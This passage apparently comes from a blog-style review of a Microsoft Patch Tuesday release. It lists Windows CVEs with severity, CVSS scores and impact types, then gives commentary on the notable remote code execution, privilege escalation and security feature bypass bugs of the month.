CVE-2026-50505\n  Windows Message\n  Queuing Service (MSMQ) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-50342\n  Windows MIDI Service\n  Module Elevation of Privileges Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56183\n  Windows MIDI Service\n  Module Elevation of Privileges Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-56187\n  Windows MIDI Service\n  Module Elevation of Privileges Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58635\n  Windows Narrator\n  Braille Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50500\n  Windows Netlogon\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50476\n  Windows Network\n  Connections Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50450\n  Windows Network\n  Connections Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56650\n  Windows Network File\n  System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56649\n  Windows Network File\n  System Remote Code Execution Vulnerability\n  Important\n  5.9\n  No\n  No\n  RCE\n \n \n  CVE-2026-50470\n  Windows Network Policy\n  Server SNMP Information Disclosure Vulnerability\n  Important\n  7.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50496\n  Windows Network Policy\n  Server SNMP Information Disclosure Vulnerability\n  Important\n  7.5\n  No\n  No\n  Info\n \n \n  CVE-2026-56194\n  Windows NFS Server\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56648\n  Windows NFS Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50337\n  Windows Notification\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49789\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-50412\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50422\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50672\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-56175\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56182\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50341\n  Windows NTFS\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58640\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-49184\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-49797\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50308\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50386\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50309\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50313\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50388\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50448\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50471\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50461\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50417\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50482\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-50494\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50344\n  Windows OLE Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50686\n  Windows OLE Remote\n  Code Execution Vulnerability\n  Important\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-50335\n  Windows Operating\n  Systems Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50317\n  Windows Operating\n  Systems Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54987\n  Windows Overlay Filter\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50435\n  Windows Overlay Filter\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50409\n  Windows Overlay Filter\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-40400\n  Windows PowerShell\n  Remote Code Execution Vulnerability\n  Important\n  8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49166\n  Windows Print\n  Configuration Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55004\n  Windows Print\n  Configuration Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50499\n  Windows Print Spooler\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50383\n  Windows Print Spooler\n  Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-57085\n  Windows Print Spooler\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50469\n  Windows Projected File\n  System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50434\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50339\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50430\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50334\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-44800\n  Windows Push\n  Notifications Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50363\n  Windows Push\n  Notifications Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50431\n  Windows Quality of\n  Service (QoS) Packet Scheduler Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50372\n  Windows Redirected\n  Drive Buffering System Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50666\n  Windows Remote Access\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56647\n  Windows Remote Access\n  Service Infrastructure Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50330\n  Windows Remote Desktop\n  Client Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50376\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50504\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58533\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58535\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58546\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58539\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55003\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-57979\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50445\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50497\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54126\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-57982\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50369\n  Windows Remote Desktop\n  Services Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58626\n  Windows Remote Desktop\n  Services Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55014\n  Windows Remote Help\n  Defense Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50318\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50407\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50357\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50441\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50668\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  6.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54109\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49792\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49793\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50362\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50492\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  6.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50501\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58530\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49791\n  Windows Routing and\n  Remote Access Service (RRAS) Elevation of Privilege Vulnerability\n  Important\n  7.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-50451\n  Windows Routing and\n  Remote Access Service (RRAS) Elevation of Privilege Vulnerability\n  Important\n  7.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-57096\n  Windows Routing and\n  Remote Access Service (RRAS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50323\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50452\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50348\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50345\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50322\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50340\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  8.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50410\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50449\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50460\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-50403\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50385\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50413\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50457\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50486\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50503\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-54125\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58527\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50373\n  Windows Search Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50679\n  Windows Search Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-44806\n  Windows Secure Channel\n  Denial of Service Vulnerability\n  Important\n  5.3\n  No\n  No\n  DoS\n \n \n  CVE-2026-50681\n  Windows Secure Channel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-56186\n  Windows Secure Channel\n  Information Disclosure Vulnerability\n  Important\n  8.1\n  No\n  No\n  Info\n \n \n  CVE-2026-50367\n  Windows Sensor Data\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58619\n  Windows Sensor Data\n  Service Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50311\n  Windows Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50328\n  Windows Server Update\n  Service (WSUS) Tampering Vulnerability\n  Important\n  7.5\n  No\n  No\n  Tampering\n \n \n  CVE-2026-58531\n  Windows SMB Elevation\n  of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-54997\n  Windows SMB\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-49801\n  Windows SMB\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50690\n  Windows SMB\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-56168\n  Windows SMB Server\n  Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50360\n  Windows SMB Server\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-57089\n  Windows SMB Server\n  Network Transport Driver (srvnet.sys) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-50333\n  Windows Spaceport.sys\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50298\n  Windows Spaceport.sys\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49171\n  Windows Speech Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-49170\n  Windows\n  StateRepository API Server file Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58526\n  Windows Storage\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50299\n  Windows Storage Spaces\n  Direct Remote Code Execution Vulnerability\n  Important\n  6.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57968\n  Windows Subsystem for\n  Linux (WSL2) Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-57973\n  Windows Subsystem for\n  Linux (WSL2) Kernel Tampering Vulnerability\n  Important\n  6.3\n  No\n  No\n  Tampering\n \n \n  CVE-2026-50418\n  Windows System Secure\n  Feature Bypass Vulnerability\n  Important\n  5.1\n  No\n  No\n  SFB\n \n \n  CVE-2026-50306\n  Windows TCP/IP\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50307\n  Windows TCP/IP\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49177\n  Windows TCP/IP\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50669\n  Windows Telephony\n  Server Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-54124\n  Windows Terminal\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50350\n  Windows Trusted\n  Runtime Interface Driver Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50326\n  Windows Unified\n  Consent System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49790\n  Windows Universal Disk\n  Format File System Driver (UDFS) Elevation of Privilege Vulnerability\n  Important\n  7.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-50498\n  Windows Universal Disk\n  Format File System Driver (UDFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58547\n  Windows Universal Plug\n  and Play (UPnP) Device Host Elevation of Privilege Vulnerability\n  Important\n  5.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-49794\n  Windows USB Audio\n  Class Driver Information Disclosure Vulnerability\n  Important\n  4.6\n  No\n  No\n  Info\n \n \n  CVE-2026-50453\n  Windows USB Audio\n  Class Driver Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-58528\n  Windows USB Audio\n  Class Driver Information Disclosure Vulnerability\n  Important\n  6.8\n  No\n  No\n  Info\n \n \n  CVE-2026-50321\n  Windows USB Driver\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50479\n  Windows USB Hub Driver\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55000\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  6.4\n  No\n  No\n  EoP\n \n \n  CVE-2026-54991\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54996\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49802\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49806\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50674\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49804\n  Windows USB Video\n  Driver Elevation of Privilege Vulnerability\n  Important\n  6.6\n  No\n  No\n  EoP\n \n \n  CVE-2026-50454\n  Windows User Interface\n  Core Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49176\n  Windows WalletService\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49800\n  Windows Web Proxy\n  Auto-Discovery Protocol (WPAD) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50480\n  Windows Web Proxy\n  Auto-Discovery Protocol (WPAD) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56173\n  Windows WebView\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58632\n  Windows Win32 Kernel\n  Subsystem Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54107\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54986\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54112\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54114\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50670\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50688\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50687\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56176\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58628\n  Windows Wireless\n  Network Manager Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50295\n  Windows Zero Trust DNS\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-50509\n  Wireless Wide Area\n  Network Service (WwanSvc) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55945\n  Microsoft Edge\n  (Chromium-based) Information Disclosure Vulnerability\n  Moderate\n  4.2\n  No\n  No\n  Info\n \n \n  CVE-2026-45488\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Moderate\n  5.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-45489\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Moderate\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55145\n  Outlook Copilot\n  Tampering Vulnerability\n  Moderate\n  6.3\n  No\n  No\n  Tampering\n \n \n  CVE-2026-56181\n  Windows Network\n  Address Translation (NAT) Spoofing Vulnerability\n  Moderate\n  8.3\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58597\n  Microsoft\n  Edge (Chromium-based) Spoofing Vulnerability\n  Low\n  4.3\n  No\n  No\n  Spoofing\n \n \n \n  \n  \n  \n  \n  \n  \n  \n \n \n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n\n\n  \n** Indicates this CVEs has already been resolved by Microsoft, and no further action is needed by the end user.\n \n \nI\u2019ll do my best to summarize everything else in this release, but no promises. I\u2019m only human after all.\n \nLooking at the remaining Critical-rated patches, Office is its own weather system: fourteen Word/Excel/PowerPoint/Office RCEs clustered at CVSS 7.8, plus five Windows Media Foundation RCEs. Outside of the Preview Pane attack vector, they are individually unremarkable; collectively, patch Office and reboot. Always reboot. We\u2019ve already mentioned DHCP some, but DHCP Server can't catch a break. Beyond the one already covered, add CVE-2026-56159, CVE-2026-48564, CVE-2026-50370, and DHCP Client cousin CVE-2026-54128. Five DHCP RCEs in one release. Rounding things out, Print Spooler (CVE-2026-58608), Windows TCP/IP (CVE-2026-54999), and a SQL Server RCE pair (CVE-2026-54117/54118) all receive patches, and all are rated a CVSS 8.8. VE-2026-55944 (Dynamics NAV/Business Central On-Prem RCE, 9.8) is the same deserialization flavor as the SharePoint pair; it\u2019s unauthenticated, network-reachable, and easy to overlook since it's not SharePoint. CVE-2026-48561 (Microsoft Copilot RCE, 9.6) and CVE-2026-50380 (Windows GDI+ RCE, 9.6) round out the near-top tier. Don't forget CVE-2026-55040, a SharePoint Security Feature Bypass (9.1) \u2014 patch it in the same pass as the SharePoint RCE pair since it's the same product family. Identity and infrastructure get hit too: CVE-2026-54121 (AD Certificate Services EoP, 8.8) and CVE-2026-50444 (WSUS EoP, 8.8). The obscure Reliable Multicast Transport Driver (RMCAST) takes two RCEs (CVE-2026-54982, CVE-2026-54995), and CVE-2026-50474 gives Remote Desktop Client its own RCE, separate from the RDP one already covered. The rest is a long tail: Defender RCE x2, GDI+ again, Windows Media x2, Secure Kernel Mode EoP x2, and a second Hyper-V EoP. You can consider these \u201cnormal\u201d as far as patch cadence goes.\nThat leaves us with 95 RCE to discuss. I would explain, but there is too much, so let me sum up. CVE-2026-55944 (Dynamics NAV/Business Central On-Prem, 9.8) is the same deserialization flavor as the SharePoint pair: unauthenticated, easy to miss since it's not SharePoint. CVE-2026-54990 (Remote Desktop Client), CVE-2026-49172 (Windows FTP Service), and CVE-2026-50447 (MSMQ) all hit 9.8 too, proof severity labels lag CVSS sometimes. CVE-2026-48561 (Copilot) and CVE-2026-50380 (GDI+) sit at 9.6.\nThe pattern worth watching: 14 Windows NTFS and 7 ReFS RCEs/ That makes 21 filesystem-driver bugs, an unusually large cluster suggesting a shared root cause. Microsoft Edge (Chromium-based) contributes 21 more that are genuinely Microsoft's to patch, not Chromium re-listing noise. Remote Desktop Client racks up a second and third RCE (CVE-2026-50474, CVE-2026-58594), and Windows Admin Center picks up two (CVE-2026-56196/56197) \u2014 WAC exposure keeps creeping into these releases. Exchange Server (CVE-2026-55005) and AD Domain Services (CVE-2026-49178) both land at 8.8.\nAnd because this release wouldn't be complete without it: CVE-2026-50663, an RCE in Age of Empires II: Definitive Edition. Yes, really. Patch your civilization anyway.\nThere are close to 260 EoP bugs in this month\u2019s release. Microsoft could have just published the EoPs and still had a record-setting month. As usual, most simply lead to local attackers executing their code at SYSTEM-level privileges or administrative privileges, so there\u2019s not much to add without further technical details about the bugs themselves. What\u2019s really frustrating is that 94 have no explicit privilege statement at all. Microsoft just says \u201celevate privileges\u201d with no detail. By my count, that leaves around 25 bugs to consider. Some don\u2019t elevate at all. The FAQ literally says the attacker just gets \u201cthe rights of the user running the affected application.\u201d That covers Win32k, Clip Service, Search Service, MSMQ, and SharePoint. A few get a Low-to-Medium integrity bump. There are also a couple that lead to downgraded service accounts or arbitrary file deletion, but nothing else I\u2019ve seen really stands out too much.\nThere are 20 Security Feature Bypass (SFB) bugs this month, and it's a genuinely mixed bag. CVE-2026-55040 leads at Critical, CVSS 9.1 as it\u2019s weak authentication in SharePoint Server. Patch it in the same pass as the SharePoint RCE pair since it's the same product. The AI-coding-tool trend continues: GitHub Copilot and Visual Studio Code and Visual Studio all land SFB bugs, mostly injection or path-traversal flavored. BitLocker is this month's lone publicly disclosed bug. It\u2019s not exploited yet, but public disclosure is a countdown clock, not a free pass. It requires physical access, as does the bug in Microsoft XML. The firmware/boot cluster is worth a second look: Secure Boot, Boot Loader, and Key Guard all touch the trust chain below the OS. Meaning, despite a low CVSS score, \u201cif this fails, nothing above it can be trusted\u201d stakes. Rounding out the SFB patches, there are two .NET SFBs, two Windows 